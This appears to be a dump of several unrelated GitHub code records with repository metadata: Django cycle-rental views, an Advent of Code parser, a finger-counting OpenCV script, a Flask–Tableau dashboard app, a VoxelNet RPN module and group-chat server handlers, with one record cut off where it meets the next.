0:\n messages.error(request, \"There is no cycle with this ID.\")\n return redirect('index-view')\n\n else:\n cursor = connection.cursor()\n sql = \"\"\"\n SELECT C.CYCLE_ID, C.PHOTO_PATH, C.MODEL, C.OWNER_ID, C.FARE_PER_DAY, CYCLE_RATING(C.CYCLE_ID), O.OWNER_NAME\n FROM CYCLE C, OWNER O\n WHERE C.OWNER_ID = O.OWNER_ID\n AND C.CYCLE_ID = %s\n \"\"\"\n cursor.execute(sql, [ cycle_id ])\n cycle = cursor.fetchall()\n cursor.close()\n\n cursor = connection.cursor()\n sql = \"SELECT * FROM CYCLE_REVIEW WHERE CYCLE_ID = %s\"\n\n sql = \"\"\"\n SELECT C.CUSTOMER_ID, C.CUSTOMER_NAME, CR.RATING, CR.COMMENT_TEXT\n FROM CUSTOMER C, CYCLE_REVIEW CR\n WHERE CR.CUSTOMER_ID = C.CUSTOMER_ID\n AND CR.CYCLE_ID = %s\n \"\"\"\n cursor.execute(sql, [cycle_id])\n review_list = cursor.fetchall()\n cursor.close()\n\n context = {\n 'cycle': cycle[0],\n 'review_list': review_list \n }\n\n return render(request, 'cycle_details.html', context)\n\n\nclass CycleAddView(View):\n\n @verify_auth_token\n @check_owner\n def post(self, request):\n owner_id = request.session.get('owner_id')\n\n cycle_photo = request.FILES.get('cycle_photo')\n cycle_model = request.POST.get('cycle_model')\n cycle_fare = request.POST.get('cycle_fare')\n\n cycle_photo_path = save_cycle_photo(cycle_photo, owner_id, cycle_model)\n\n cursor = connection.cursor()\n sql = \"INSERT INTO CYCLE(CYCLE_ID, MODEL, STATUS, PHOTO_PATH, OWNER_ID, FARE_PER_DAY) VALUES(CYCLE_INCREMENT.NEXTVAL, %s, %s, %s, %s, %s)\"\n cursor.execute(\n sql, [cycle_model, CYCLE_AVAILABLE, cycle_photo_path, owner_id, cycle_fare])\n connection.commit()\n cursor.close()\n\n messages.success(request, \"Cycle has been added !\")\n return redirect('owner-cycle-view')\n\n\nclass CycleDeleteView(View):\n\n @verify_auth_token\n @check_owner\n def get(self, request, cycle_id):\n\n cursor = connection.cursor()\n sql = \"SELECT COUNT(*) FROM TRIP_DETAILS WHERE STATUS = %s AND CYCLE_ID = %s\"\n cursor.execute(sql, [TRIP_ONGOING, cycle_id])\n result = cursor.fetchall()\n cursor.close()\n\n count = int(result[0][0])\n\n if count == 0:\n\n cursor = connection.cursor()\n sql = \"SELECT COUNT(*) FROM TRIP_DETAILS WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [cycle_id])\n delete_con = cursor.fetchall()\n cursor.close()\n delete_count = int(delete_con[0][0])\n\n if delete_count == 0:\n cursor = connection.cursor()\n sql = \"DELETE FROM CYCLE WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [cycle_id])\n connection.commit()\n cursor.close()\n\n else:\n cursor = connection.cursor()\n sql = \"UPDATE CYCLE SET STATUS = %s WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [CYCLE_DELETED, cycle_id])\n connection.commit()\n cursor.close()\n\n messages.info(request, \"The cycle has been deleted.\")\n return redirect('owner-cycle-view')\n else:\n messages.info(request, \"A trip is ongoing with this cycle. You can not delete this cycle.\")\n return redirect('owner-cycle-view')\n\n\n\nclass RequestCycleView(View):\n\n @verify_auth_token\n @check_customer\n def get(self, request, cycle_id):\n customer_id = request.session.get('customer_id')\n cursor = connection.cursor()\n sql = \"\"\"\n SELECT *\n FROM CYCLE C, OWNER O\n WHERE C.OWNER_ID = O.OWNER_ID\n AND C.CYCLE_ID = %s\n AND C.STATUS = %s\n \"\"\"\n cursor.execute(sql, [cycle_id, CYCLE_AVAILABLE])\n cycle = cursor.fetchall()\n context = {'cycle': cycle}\n\n return render(request, 'request_cycle.html', context)\n \n @verify_auth_token\n @check_customer\n def post(self, request, cycle_id):\n customer_id = request.session.get('customer_id')\n customer_id = int(customer_id)\n\n cursor = connection.cursor()\n sql = \"SELECT STATUS FROM CYCLE WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [cycle_id])\n status = cursor.fetchall()\n connection.commit()\n cursor.close()\n\n start_datetime = request.POST.get('start_datetime')\n end_datetime = request.POST.get('end_datetime')\n payment_type = request.POST.get('payment_type')\n\n start_datetime = datetime.fromisoformat(start_datetime)\n end_datetime = datetime.fromisoformat(end_datetime)\n\n if status[0][0] == CYCLE_AVAILABLE:\n\n cursor = connection.cursor()\n sql = \"INSERT INTO TRIP_DETAILS(TRIP_ID, START_DATE_TIME, END_DATE_TIME, STATUS, PAYMENT_TYPE, CUSTOMER_ID, CYCLE_ID) VALUES(TRIP_INCREMENT.NEXTVAL, %s, %s, %s, %s, %s, %s)\"\n cursor.execute(sql, [start_datetime, end_datetime,\n TRIP_REQUESTED, payment_type, customer_id, cycle_id])\n connection.commit()\n cursor.close()\n\n messages.success(\n request, \"Cycle requested. You'll be notified after owner confirms it.\")\n return redirect('customer-dashboard-view')\n\n else:\n messages.warning(request, \"Sorry, this cycle isn't available.\")\n return redirect('customer-dashboard-view')\n\n\nclass ApproveCycleView(View):\n\n @verify_auth_token\n @check_owner\n def get(self, request, trip_id):\n owner_id = request.session.get('owner_id')\n owner_id = int(owner_id)\n\n cursor = connection.cursor()\n sql = \"SELECT CYCLE_ID, CUSTOMER_ID FROM TRIP_DETAILS WHERE TRIP_ID = %s AND STATUS = %s\"\n cursor.execute(sql, [trip_id, TRIP_REQUESTED])\n result = cursor.fetchall()\n cycle_id = result[0][0]\n customer_id = result[0][1]\n\n # Update the Cycle STATUS for Availability & Concurrency\n # If someone searches for a cycle by the time this view gets executed\n cursor = connection.cursor()\n sql = \"UPDATE CYCLE SET STATUS = %s WHERE CYCLE_ID = %s\"\n cursor.execute(sql, [CYCLE_BOOKED, cycle_id])\n connection.commit()\n cursor.close()\n\n # Cancelling every trip request made on this cycle which have STATUS = TRIP_REQUESTED\n cursor = connection.cursor()\n sql = \"UPDATE TRIP_DETAILS SET STATUS = %s WHERE CYCLE_ID = %s AND STATUS = %s\"\n cursor.execute(sql, [TRIP_REJECTED, cycle_id, TRIP_REQUESTED])\n connection.commit()\n cursor.close()\n\n # After cancellation, we must only approve the trip which the user had chosen.\n # Only approve the chosen trip by its TRIP_ID that we had got earlied\n cursor = connection.cursor()\n sql = \"UPDATE TRIP_DETAILS SET STATUS = %s WHERE TRIP_ID = %s\"\n cursor.execute(sql, [TRIP_ONGOING, trip_id])\n connection.commit()\n cursor.close()\n\n messages.success(request, \"The cycle has been approved.\")\n return redirect('owner-dashboard-view')\n\n\nclass ReceiveCycleView(View):\n\n @verify_auth_token\n @check_owner\n def get(self, request, trip_id):\n owner_id = request.session.get('owner_id')\n\n cursor = connection.cursor()\n sql = \"\"\"\n SELECT C.OWNER_ID\n FROM CYCLE C, RESERVES R\n WHERE R.CYCLE_ID = C.CYCLE_ID\n AND R.TRIP_ID = %s\n \"\"\"\n cursor.execute(sql, [ trip_id ])\n result = cursor.fetchall()\n connection.commit()\n cursor.close()\n \n try:\n if owner_id == result[0][0]:\n ## yes, this trip belongs to this owner\n cursor = connection.cursor()\n sql = \"UPDATE TRIP_DETAILS SET STATUS = %s WHERE TRIP_ID = %s\"\n cursor.execute(sql, [ TRIP_COMPLETED, trip_id ])\n connection.commit()\n cursor.close()\n ## the trip has been completed\n ## now make the cycle available\n\n end_time = datetime.now()\n\n cursor = connection.cursor()\n sql = \"\"\" SELECT START_DATE_TIME FROM TRIP_DETAILS WHERE TRIP_ID = %s\"\"\"\n cursor.execute(sql, [trip_id])\n result = cursor.fetchall()\n cursor.close()\n\n start_time = result[0][0]\n\n if end_time < start_time:\n cursor = connection.cursor()\n sql = \"\"\" UPDATE TRIP_DETAILS SET END_DATE_TIME = %s WHERE TRIP_ID = %s \"\"\"\n cursor.execute(sql, [start_time, trip_id])\n connection.commit()\n cursor.close()\n else:\n cursor = connection.cursor()\n sql = \"\"\" UPDATE TRIP_DETAILS SET END_DATE_TIME = %s WHERE TRIP_ID = %s \"\"\"\n cursor.execute(sql, [end_time, trip_id])\n connection.commit()\n cursor.close()\n\n cursor = connection.cursor()\n sql = \"\"\"\n UPDATE CYCLE\n SET STATUS = %s\n WHERE CYCLE_ID = (SELECT CYCLE_ID\n FROM TRIP_DETAILS \n WHERE TRIP_ID = %s)\n \"\"\"\n cursor.execute(sql, [ CYCLE_AVAILABLE, trip_id ])\n connection.commit()\n cursor.close()\n\n messages.success(request, \"Congrats! The trip is ended.\")\n return redirect('trip-details-view', trip_id=trip_id)\n ## NOW made the cycle available\n else:\n ## not his trip, send to FORBIDDEN 403\n return redirect('http-403-view')\n \n except:\n return redirect('http-404-view')\n\n## customer\nclass CancelCycleView(View):\n \n @verify_auth_token\n @check_customer\n def get(self, request, trip_id):\n customer_id = request.session.get('customer_id')\n\n cursor = connection.cursor()\n sql = \"DELETE TRIP_DETAILS WHERE TRIP_ID = %s AND CUSTOMER_ID = %s AND STATUS = %s\"\n cursor.execute(sql, [trip_id, customer_id, TRIP_REQUESTED])\n connection.commit()\n cursor.close()\n\n messages.info(request, \"The cycle request has been cancelled.\")\n return redirect('customer-dashboard-view')\n\n\nclass RejectCycleView(View):\n\n @verify_auth_token\n @check_owner\n def get(self, request, trip_id):\n owner_id = request.session.get('owner_id')\n \n cursor = connection.cursor()\n sql = \"\"\"\n UPDATE TRIP_DETAILS\n SET STATUS = %s\n WHERE TRIP_ID = %s\n \"\"\"\n cursor.execute(sql, [TRIP_REJECTED, trip_id])\n connection.commit()\n cursor.close()\n\n messages.success(request, \"Cycle request has been rejected.\")\n return redirect('owner-dashboard-view')\n\n","repo_name":"fazledyn/cycloan","sub_path":"webapp/cycle/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37204191420","text":"import pyparsing as pp\nimport operator\nimport functools\n\n\"\"\"\n Used resources:\n - https://stackoverflow.com/a/23956778\n - https://github.com/pyparsing/pyparsing/blob/master/examples/fourFn.py\n\"\"\"\n\nwith open('input', 'r') as input_file:\n input_list = input_file.read().splitlines()\n\noperator_mapping = {\n '+': operator.add,\n '*': operator.mul\n}\n\nexpression_stack = []\n\n\ndef push_first(tokens):\n expression_stack.append(tokens[0])\n\n\ndef create_bnf_part1():\n lpar, rpar = map(pp.Suppress, '()')\n expr = pp.Forward()\n operator = pp.oneOf('+ *')\n operand = pp.Word(pp.nums)\n factor = operand.setParseAction(push_first) | pp.Group(lpar + expr + rpar)\n expr <<= factor + \\\n pp.ZeroOrMore((operator + factor).setParseAction(push_first))\n return expr\n\n\ndef create_bnf_part2():\n lpar, rpar = map(pp.Suppress, '()')\n plus, mult = map(pp.Literal, '+*')\n expr = pp.Forward()\n operand = pp.Word(pp.nums)\n factor = operand.setParseAction(push_first) | pp.Group(lpar + expr + rpar)\n term = factor + \\\n pp.ZeroOrMore((plus + factor).setParseAction(push_first))\n expr <<= term + \\\n pp.ZeroOrMore((mult + term).setParseAction(push_first))\n return expr\n\n\ndef evaluate_stack(s):\n operation = s.pop()\n\n if operation in '+*':\n right = evaluate_stack(s)\n left = evaluate_stack(s)\n return operator_mapping[operation](left, right)\n else:\n return int(operation)\n\n\nresult_list = []\nbnf = create_bnf_part2() # Change for part 1\nfor expression in input_list:\n expression_stack[:] = []\n bnf.parseString(expression)\n result_list.append(evaluate_stack(expression_stack[:]))\n\nprint(functools.reduce(operator.add, result_list))\n","repo_name":"Zatura24/advent_of_code_2020","sub_path":"day18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24766363104","text":"import cv2\nimport time\nimport os\nimport handTrackingModule as htm\nwCam,hCam=640,480\ncap = cv2.VideoCapture(0)\ncap.set(3,wCam)\ncap.set(4,hCam)\nfolderpath= \"Finger\"\nmyList = os.listdir(folderpath)\n#print(myList)\noverLayList=[]\nfor imPath in myList:\n image=cv2.imread(f'{folderpath}/{imPath}')\n overLayList.append(image)\n\n #print(f'{folderpath}/{imPath}')\n#print(len(overLayList))\npTime=0\ndetector=htm.handDetector(detectionCon=0.75)\ntip=[4,8,12,16,20]\nwhile True:\n success,img = cap.read()\n img=detector.findHands(img)\n lmList= detector.findPosition(img,draw=False)\n #print(lmList)\n if len(lmList) != 0:\n fingers=[]\n if lmList[tip[0]][1] List[int]:\n ans = [[1],[1,1]]\n \n if rowIndex<2:\n return ans[rowIndex]\n \n for row in range(2,34):\n temp = [1]\n \n for col in range(1,row):\n temp.append(ans[-1][col]+ans[-1][col-1])\n \n temp.append(1)\n if rowIndex == row:\n return temp\n ans.append(temp)\n \n ","repo_name":"Merwan-J/competetive-programming","sub_path":"119-pascals-triangle-ii/119-pascals-triangle-ii.py","file_name":"119-pascals-triangle-ii.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72423991187","text":"from flask import Flask, abort, render_template, redirect, url_for, request, make_response\r\nfrom flask_login import LoginManager, login_required, UserMixin, login_user, logout_user\r\nfrom urllib.parse import urlparse, urljoin\r\nimport requests, tableauserverclient as TSC\r\nfrom secret import SECRET_KEY, TABLEAU_AUTH, USERS_LIST, PASSWORD_LOGIN\r\napp = Flask(__name__)\r\napp.secret_key = SECRET_KEY\r\nlogin_manager = LoginManager(app)\r\nusers = USERS_LIST\r\npassword_login = PASSWORD_LOGIN\r\n\r\nserver = TSC.Server('http://10.0.55.1')\r\nfolder_path = \"C:/Users/Administrator/Desktop/Flask-WebServer/static/images\"\r\n\r\n# Class User which extends UserMixin used to register users.5765\r\nclass User(UserMixin):\r\n # Constructor\r\n def __init__(self, user_id):\r\n self.id = user_id\r\n self.name = users[int(user_id)]\r\n\r\n def get(self, name):\r\n return users.index(name)\r\n# Check if url to render is safe\r\ndef is_safe_url(target):\r\n ref_url = urlparse(request.host_url)\r\n test_url = urlparse(urljoin(request.host_url, target))\r\n return test_url.scheme in ('http', 'https') and \\\r\n ref_url.netloc == test_url.netloc\r\n\r\n# Route for handling the login page logic\r\n# Checks if user exists and password matches\r\n@app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n error = None\r\n if (request.method == 'POST'):\r\n if (request.form['username'] not in users or request.form['password'] != password_login):\r\n error = 'Invalid Credentials. Please try again.'\r\n else:\r\n user = User(users.index(request.form['username']))\r\n login_user(user)\r\n next = request.args.get('next')\r\n\r\n if not is_safe_url(next):\r\n return abort(400)\r\n\r\n resp = make_response(redirect('/homepage'))\r\n\r\n resp.set_cookie('username', request.form['username'])\r\n return resp\r\n return render_template('login.html', error=error)\r\n\r\n\r\n# Used to by Flask to check which is the current logged user.\r\n@login_manager.user_loader\r\ndef load_user(user_id):\r\n return User(user_id)\r\n\r\n\r\n# Route to redirect - when the onload event occurs - to the login page directly\r\n@app.route(\"/\")\r\ndef hello():\r\n return redirect(url_for('login'))\r\n\r\n@app.route(\"/homepage\")\r\n@login_required\r\ndef homepage(): #index with all the dashboards\r\n with server.auth.sign_in(TABLEAU_AUTH):\r\n workbooks, pagination_item = server.workbooks.get()\r\n \r\n wblist = [wb for wb in workbooks]\r\n for x in wblist: \r\n server.workbooks.populate_preview_image(x)\r\n if x.project_name == \"yourWorkspace\":\r\n with open(folder_path + \"/{}.jpg\".format(x.name), \"wb\") as img_file: #generate thumbnails of all dashboards\r\n img_file.write(x.preview_image)\r\n return render_template(\"select-dashboard.html\")\r\n\r\n@app.route(\"/dashboard\") #page of a single dashboard\r\n@login_required\r\ndef dashboard():\r\n return render_template(\"dashboard.html\")\r\n\r\n\r\n@app.route('/logout')\r\ndef sign_out():\r\n logout_user()\r\n return redirect(url_for('login'))\r\n\r\n@app.route('/get_token')\r\ndef get_token():\r\n resp = make_response()\r\n\r\n token = requests.post(\"http://10.0.55.1/trusted?username=\" + request.cookies.get(\"username\"))\r\n if (token.status_code != 200 or token.text == '-1'): #200 = OK in HTTP requests\r\n return abort(400)\r\n\r\n resp.set_cookie(\"auth_token\", token.text)\r\n return resp\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n \r\n","repo_name":"hamdyelbatal122/Tableau-with-Flask-BackEnd","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"6295182286","text":"\"\"\"\r\nClass: callable __call__\r\n\"\"\"\r\n\r\nclass A:\r\n \"\"\"Class A, displaying Arguments\"\"\"\r\n\r\n def __init__(self):\r\n print(\"An instance of A was initialized\")\r\n\r\n def __del__(self):\r\n print(\"an instance of A will be deleted\")\r\n \r\n def __call__(self, *args, **kwargs):\r\n print(\"Arguments are:\", args, kwargs)\r\n \r\nprint(A.__doc__)\r\nx = A() #creating Object x\r\nb = A() #creating Object b\r\nd = A() #creating Object d\r\nprint(x.__doc__)\r\n\r\nprint(\"\\nCalling the instance:\")\r\nx(3, 4, x=11, y=10)\r\nb(44,32,1,t=23 ,f=1)\r\n\r\nprint(\"Let's call it again:\")\r\nx(3, 4,8, x=11, y=10,u=85)\r\n\r\ndel x\r\ndel b\r\ndel d\r\n","repo_name":"dipeshdc/dipeshdc","sub_path":"new_progarm(a).py","file_name":"new_progarm(a).py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18403509731","text":"# coidng=utf-8\nimport os\n\nimport sklearn\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nclass Dataset:\n x = []\n y = []\n def __init__(self):\n pass\n\n def load_data(self, path):\n if os.path.exists(path):\n for data in open(path):\n data = data.replace(\"\\n\", \"\")#去掉readline的/n\n data = data.strip()\n print(data)\n x = data[0:-2]\n y = int(data[-1])\n self.x += eval(\"[\" + x + \"]\")\n self.y.append(y)\n print(\"原始数据为:\\n\", self.x)\n print(\"label为:\", self.y)\n else :\n print(\"路径不存在\")\n return\n\n def get_train_test_set(self, ratio):\n n_train=int(len(self.x)*ratio)\n x_train=self.x[:n_train]\n x_text=self.x[n_train:]\n n_train=int(len(self.y)*ratio)\n y_train = self.y[:n_train]\n y_text = self.y[n_train:]\n return x_train,x_text,y_train,y_text\n#持久化为json'\nf=open(\"/opt/projects/python/iotestpy/mytest/mechineLearn/fileStore/01\",\"wb+\")\ndataset = Dataset()\ndataset.load_data(os.path.abspath(\"/opt/projects/python/iotestpy/mytest/mechineLearn/fileStore/pima-indians-diabetes.txt\"))\npickle.dump(dataset.get_train_test_set(0.7),f)\n\n\n#加载\nf=open(\"/opt/projects/python/iotestpy/mytest/mechineLearn/fileStore/01\",\"rb\")\nx_train,x_text,y_train,y_text=pickle.load(f)\nprint(\"训练集数据:\\n\",x_train)\nprint(\"训练集label:\\n\",y_train)\nprint(\"测试集数据:\\n\",x_text)\nprint(\"测试集label:\\n\",y_text)\n\n# x= sklearn.metrics.auc(x_train, x_text, reorder=False)\n# print(x)\n# y= sklearn.metrics.auc(y_train, y_text, reorder=False)\n\n\n\n\n","repo_name":"hellozepp/gitbyhellozepp","sub_path":"python/iotest-pyy/org1/mytest/mechineLearn/MLTest02.py","file_name":"MLTest02.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"20411355260","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom config import cfg\n\nimport pdb\nimport torchsparse.nn as spnn\nfrom torchsparse import SparseTensor\nfrom torchsparse.utils.collate import sparse_collate_fn\nfrom torchsparse.utils.quantize import sparse_quantize\n\nclass ConvMD(nn.Module):\n def __init__(self, M, cin, cout, k, s, p, bn = True, activation = True):\n super(ConvMD, self).__init__()\n\n self.M = M # Dimension of input\n self.cin = cin\n self.cout = cout\n self.k = k\n self.s = s\n self.p = p\n self.bn = bn\n self.activation = activation\n\n if self.M == 2: # 2D input\n self.conv = nn.Conv2d(self.cin, self.cout, self.k, self.s, self.p)\n if self.bn:\n self.batch_norm = nn.BatchNorm2d(self.cout)\n if self.activation:\n self.activation_ = nn.ReLU(True)\n elif self.M == 3: # 3D input\n # self.conv = nn.Conv3d(self.cin, self.cout, self.k, self.s, self.p)\n self.conv = spnn.Conv3d(self.cin, self.cout, self.k, self.s, self.p)\n if self.bn:\n # self.batch_norm = nn.BatchNorm3d(self.cout)\n self.batch_norm = spnn.BatchNorm(self.cout)\n if self.activation:\n self.activation_ = spnn.ReLU(True)\n else:\n raise Exception('No such mode!')\n\n\n def forward(self, inputs):\n\n out = self.conv(inputs)\n\n if self.bn:\n out = self.batch_norm(out)\n\n if self.activation: \n return self.activation_(out)\n else:\n return out\n\n\nclass Deconv2D(nn.Module):\n def __init__(self, cin, cout, k, s, p, bn = True):\n super(Deconv2D, self).__init__()\n\n self.cin = cin\n self.cout = cout\n self.k = k\n self.s = s\n self.p = p\n self.bn = bn\n\n self.deconv = nn.ConvTranspose2d(self.cin, self.cout, self.k, self.s, self.p)\n\n if self.bn:\n self.batch_norm = nn.BatchNorm2d(self.cout)\n\n\n def forward(self, inputs):\n out = self.deconv(inputs)\n\n if self.bn == True:\n out = self.batch_norm(out)\n\n return F.relu(out)\n\n\nclass MiddleAndRPN(nn.Module):\n def __init__(self, alpha = 1.5, beta = 1, sigma = 3, training = True, name = ''):\n super(MiddleAndRPN, self).__init__()\n\n self.middle_layer = nn.Sequential(ConvMD(3, 128, 64, 3, (2, 1, 1,), (1, 1, 1)),\n ConvMD(3, 64, 64, 3, (1, 1, 1), (0, 1, 1)),\n ConvMD(3, 64, 64, 3, (2, 1, 1), (1, 1, 1)))\n\n\n if cfg.DETECT_OBJ == 'Car':\n self.block1 = nn.Sequential(ConvMD(2, 128, 128, 3, (2, 2), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)))\n else: # Pedestrian/Cyclist\n self.block1 = nn.Sequential(ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)))\n\n self.deconv1 = Deconv2D(128, 256, 3, (1, 1), (1, 1))\n\n self.block2 = nn.Sequential(ConvMD(2, 128, 128, 3, (2, 2), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)),\n ConvMD(2, 128, 128, 3, (1, 1), (1, 1)))\n\n self.deconv2 = Deconv2D(128, 256, 2, (2, 2), (0, 0))\n\n self.block3 = nn.Sequential(ConvMD(2, 128, 256, 3, (2, 2), (1, 1)),\n ConvMD(2, 256, 256, 3, (1, 1), (1, 1)),\n ConvMD(2, 256, 256, 3, (1, 1), (1, 1)),\n ConvMD(2, 256, 256, 3, (1, 1), (1, 1)),\n ConvMD(2, 256, 256, 3, (1, 1), (1, 1)),\n ConvMD(2, 256, 256, 3, (1, 1), (1, 1)))\n\n self.deconv3 = Deconv2D(256, 256, 4, (4, 4), (0, 0))\n\n self.prob_conv = ConvMD(2, 768, 2, 1, (1, 1), (0, 0), bn = False, activation = False)\n\n self.reg_conv = ConvMD(2, 768, 14, 1, (1, 1), (0, 0), bn = False, activation = False)\n\n self.output_shape = [cfg.FEATURE_HEIGHT, cfg.FEATURE_WIDTH]\n\n\n def forward(self, inputs):\n # batch_size, DEPTH, HEIGHT, WIDTH, C = inputs.shape # [batch_size, 10, 400/200, 352/240, 128]\n\n # inputs = inputs.permute(0, 4, 1, 2, 3) # (B, D, H, W, C) -> (B, C, D, H, W)\n ########修改\n inputs = self.middle_layer(inputs) # [batch, 64, 2, 400, 352]\n tem_coor = torch.split(inputs.coords,[3,1],1)\n coordinate = torch.cat((tem_coor[1], tem_coor[0]), 1)\n \n outputs = torch.sparse_coo_tensor(coordinate.t(), inputs.feats, \\\n torch.Size([cfg.batch_size, cfg.INPUT_DEPTH+3, cfg.INPUT_HEIGHT-8, cfg.INPUT_WIDTH+1, 64]))\n outputs = outputs.to_dense()\n batch_size, DEPTH, HEIGHT, WIDTH, C = outputs.shape # [batch_size, 13, 392/200, 353/240, 64]\n\n inputs = outputs.permute(0, 4, 1, 2, 3).contiguous() # (B, D, H, W, C) -> (B, C, D, H, W)\n temp_conv = outputs.view(batch_size, -1, HEIGHT, WIDTH) # [batch, 832, 392, 353]\n #########\n\n temp_conv = self.block1(temp_conv) # [batch, 128, 200, 176]\n temp_deconv1 = self.deconv1(temp_conv)\n\n temp_conv = self.block2(temp_conv) # [batch, 128, 100, 88]\n temp_deconv2 = self.deconv2(temp_conv)\n\n temp_conv = self.block3(temp_conv) # [batch, 256, 50, 44]\n temp_deconv3 = self.deconv3(temp_conv)\n\n temp_conv = torch.cat([temp_deconv3, temp_deconv2, temp_deconv1], dim = 1)\n\n # Probability score map, [batch, 2, 200/100, 176/120]\n p_map = self.prob_conv(temp_conv)\n\n # Regression map, [batch, 14, 200/100, 176/120]\n r_map = self.reg_conv(temp_conv)\n\n return torch.sigmoid(p_map), r_map\n","repo_name":"haiduo/sparse_model","sub_path":"VoxelNet_CVPR_2018_PointCloud/model/rpn.py","file_name":"rpn.py","file_ext":"py","file_size_in_byte":6531,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"48"} +{"seq_id":"19519421345","text":"from db.table_group import *\nfrom db.table_chat import *\nfrom db.table_group_member import *\nfrom db.DataDB import *\nimport json\nfrom global_data import online_clients,user_mailboxes\n\n# from global_data import online_clients\n\ndef save_new_groupid(new_groupid):\n with open(\"new_groupid.txt\", \"w\") as file:\n file.write(str(new_groupid))\n\n\n# Load new_groupid from the file\ndef load_new_groupid():\n try:\n with open(\"new_groupid.txt\", \"r\") as file:\n return int(file.read())\n except FileNotFoundError:\n return 20000 # Default starting value if the file doesn't exist\n\n\ndef create_group(data, socket, address, database):\n\n print(\"##########\")\n\n try:\n content = data['content']\n group_manager = content['group_manager']\n group_name = content['group_name']\n group_member = content['group_member']\n group_create_time=content['group_create_time']\n group_image=content['group_image']\n\n if group_manager not in group_member:\n group_member.append(group_manager)\n\n new_groupid = load_new_groupid() + 1\n group_id = new_groupid\n group_table_name = \"[group]\"\n group_member_table_name = \"group_member\"\n print(group_id)\n succ = insert_table_group(database, group_table_name,group_id,group_name,group_manager,group_create_time,group_image)\n if not succ:\n print(\"创建群表\" + group_table_name + \"失败\")\n \n for member_id in group_member:\n if succ:\n succ=insert_table_group_member(database,group_member_table_name,group_id,member_id)\n else:\n print(\"插入群成员\" + str(member_id) + \"失败\")\n break\n\n except KeyError as e:\n print(\"Error: Missing key in data content -\", e)\n # You might want to send an error response back to the client/socket here.\n except Exception as e:\n print(\"An error occurred:\", e)\n # Handle any other unexpected exceptions here.\n else:\n print(\"Group creation successful\")\n finally:\n if succ:\n back_data = {\n \"type\": \"create_group\",\n \"back_data\": \"0000\", #0000代表成功\n 'content':{\n 'succ':succ,\n 'group_id':group_id,\n 'group_name':group_name,\n 'group_manager':group_manager,\n 'group_member':group_member, #List\n }\n }\n save_new_groupid(new_groupid)\n back_json_data = json.dumps(back_data).encode('utf-8')\n socket.sendall(back_json_data)\n# receivers = search_member(database, \"chat\", group_id)\n print(\"----------------\")\n for receiver in group_member:\n if receiver in online_clients:\n receiver_socket, _ = online_clients[receiver]\n receiver_socket.send(back_json_data)\n# else:\n# user_mailboxes[receiver].append(back_json_data)\n else:\n new_groupid -= 1\n back_data = {\n \"type\": \"create_group\",\n \"back_data\": \"0001\", #0001代表失败\n 'content':{\n 'succ':succ,\n }\n }\n save_new_groupid(new_groupid)\n back_json_data = json.dumps(back_data).encode('utf-8')\n socket.sendall(back_json_data)\n\n\ndef delete_group(data, socket, address, database):\n try:\n content = data['content']\n group_id=content['group_id']\n sender_id=content['sender']\n manager_id=select_table(database,\"[group]\",group_id=group_id)[0][2]\n members=search_member(database,\"group_member\",group_id=group_id)\n if sender_id==manager_id:\n succ=delete_table_index(database,\"[group]\",group_id=group_id)\n delete_table_index(database,\"group_member\",group_id=group_id)\n delete_table_index(database,\"chat\",chat_id=group_id)\n else:\n succ=False\n print(\"非管理员无法解散群\")\n except Exception as e:\n print(\"An error occurred:\", e)\n finally:\n if succ == True:\n back_data={\n 'type':'delete_group',\n 'back_data':\"0002\",\n 'content':{\n 'succ':succ,\n 'group_id':group_id,\n 'sender_id':sender_id,\n }\n }\n back_json_data = json.dumps(back_data).encode('utf-8')\n for member_id in members:\n if member_id in online_clients:\n receiver_socket, _ = online_clients[member_id]\n receiver_socket.send(back_json_data)\n \n else:\n back_data={\n 'type':'delete_group',\n 'back_data':\"0003\",\n 'content':{\n 'succ':succ,\n 'group_id':group_id,\n 'sender_id':sender_id,\n }\n }\n back_json_data = json.dumps(back_data).encode('utf-8')\n socket.sendall(back_json_data)\n\ndef add_new_member(data, socket, address, database):\n try:\n content = data['content']\n group_id = content['group_id']\n member_id = content['member_id']\n# group_name=content['group_name']\n ret=select_table(database,\"[group]\",group_id=group_id)\n group_name=ret[0][1]\n for i in member_id:\n succ = insert_table_group_member(database,\"group_member\", group_id, i)\n\n except Exception as e:\n print(\"An error occurred:\", e)\n finally:\n if succ:\n back_data={\n 'type':'add_new_member',\n 